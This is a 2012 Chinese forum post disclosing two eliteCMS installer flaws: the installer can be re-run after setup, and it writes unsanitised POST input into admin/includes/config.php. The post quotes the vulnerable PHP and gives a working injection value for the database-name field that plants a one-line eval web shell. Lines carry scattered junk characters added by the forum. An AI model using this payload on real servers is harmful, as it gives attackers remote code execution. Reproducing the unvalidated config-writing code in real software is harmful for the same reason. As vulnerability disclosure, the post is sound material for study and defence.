找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2430|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装% A6 d" Q: C) U1 ^
; Q. m  T3 y2 q3 u( F* S4 O
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php; K" a/ e4 a+ Q+ p
我们来看代码:
% }& w3 B% P% J
: V5 i( w) s4 H9 @..." Z; n0 M# F# z. V% s. \
elseif ($_GET['step'] == "4") {9 I# P0 \7 z6 X: ~& ~& g, n
    $file = "../admin/includes/config.php";
; C8 c9 A( ~9 J3 S" W    $write = "<?php\n";
, Q6 Z' r& ~) P8 q+ `' ?" h    $write .= "/**\n";6 m" m5 `4 z4 Q9 o
    $write .= "*\n";& ^0 j- e+ ^' @
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";- F- K# {  R6 H% F
...略.../ u7 F( q8 @2 Q8 Z2 q
    $write .= "*\n";
6 q" e2 }: {! \+ P$ P    $write .= "*/\n";# M- m8 I7 X( ~
    $write .= "\n";: `, y- ]: w+ @8 {+ S; Y
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";9 v' Z, }6 d( q# ~7 r( k) i7 @
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";2 S3 G- Y0 U3 o7 L7 d; @
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! _$ C5 R( h; ~    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
, {, S6 B. z9 A  ]- U6 R* n    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
* Q7 }+ ^. Y: z. v    $write .= "if (!\$connection) {\n";1 m+ H  v: `5 ^. {$ r/ J+ \
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";& K$ C. h! C! B# E
    $write .= "        \n";  o. M; z1 v( y! D% D& a( Y# A
    $write .= "} \n";1 e" e. I" |, l8 T
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
, z- c' r: w' ]# K/ i, ?    $write .= "if (!\$db_select) {\n";
! h- M1 U* C5 S    $write .= "        die(\"Database select failed\" .mysql_error());\n";
0 ^+ f9 B$ X& P2 b7 T    $write .= "        \n";
/ }! V' x' i, |% P* \+ a+ x: w    $write .= "} \n";- O* |# G* S- P$ f6 C3 M; ~; K
    $write .= "?>\n";: _* E8 C/ l: G: C

& `, s& f$ V, W5 i7 `3 \    $writer = fopen($file, 'w');* l4 y- B# F9 Y& [% r- Q
...  e0 n# _0 x/ d" n- F$ L" |( b2 s; t" l7 r
5 Z( A# C/ u* R* B: g  `9 q- w9 h
在看代码:
9 C( C5 U, K+ b  n
5 i  t2 i) |+ B5 t, P1 e* s+ W$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];! t; l1 l* k& h8 a: A4 H' v* t3 q* D
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];6 A) q, m, h, H" Y$ K8 D5 l
$_SESSION['DB_USER'] = $_POST['DB_USER'];3 T4 O% B+ m7 D" Z7 X
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];2 u% ]. K  g5 s. F, U

2 A0 ^( n* _: Z7 Z9 C, o) J取值未作任何验证0 @/ S* y1 r7 v$ c
如果将数据库名POST数据:' ?9 v" N! ^. h$ f+ t* t
1 o" R& P- N, c; l1 O
"?><?php eval($_POST[c]);?><?php4 O8 j2 }4 N6 h$ C1 Y6 e

* T9 b$ ?( U% c; ^' ~* K( D将导致一句话后门写入/admin/includes/config.php
' A+ e5 Z7 i+ E/ ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表